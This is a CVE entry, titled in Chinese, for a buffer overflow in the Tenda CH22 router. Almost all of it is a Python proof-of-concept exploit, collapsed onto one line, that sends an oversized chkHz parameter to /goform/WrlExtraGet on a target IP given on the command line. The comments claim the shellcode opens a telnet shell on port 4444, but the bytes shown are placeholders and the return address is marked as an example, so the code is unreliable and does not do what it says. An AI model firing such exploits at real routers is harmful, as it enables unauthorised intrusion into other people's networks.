CVE-2025-13400 Tenda CH22路由器 formWrlExtraGet缓冲区溢出漏洞

import requests import sys # CVE-2025-13400 PoC - Tenda CH22 formWrlExtraGet Buffer Overflow # Target: Tenda CH22 Router (Firmware 1.0.0.1) # Vulnerability: Buffer overflow in /goform/WrlExtraGet via chkHz parameter target_ip = sys.argv[1] if len(sys.argv) > 1 else '192.168.0.1' target_port = 80 # Generate payload with NOP sled + shellcode + return address # Adjust the length to trigger buffer overflow def generate_payload(): # Padding to overflow the buffer padding = b'A' * 1000 # Overwrite return address (adjust based on firmware version) # Common gadget: system() -> execute shell commands return_addr = b'\x40\x10\x01\x00' # Example: adjust for actual firmware # Shellcode: spawn telnetd shell on port 4444 shellcode = b'\x50\x60\x51\x52\x53\x0c\x01\x01\x01\x01\x01\x01\x01' payload = padding + return_addr + shellcode return payload def exploit(): url = f'http://{target_ip}:{target_port}/goform/WrlExtraGet' # Construct malicious chkHz parameter payload = generate_payload() params = { 'chkHz': payload.decode('latin-1') } print(f'[*] Sending exploit to {url}') print(f'[*] Payload length: {len(payload)} bytes') try: response = requests.get(url, params=params, timeout=10) print(f'[+] Request sent successfully') print(f'[+] Response status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip>') sys.exit(1) exploit()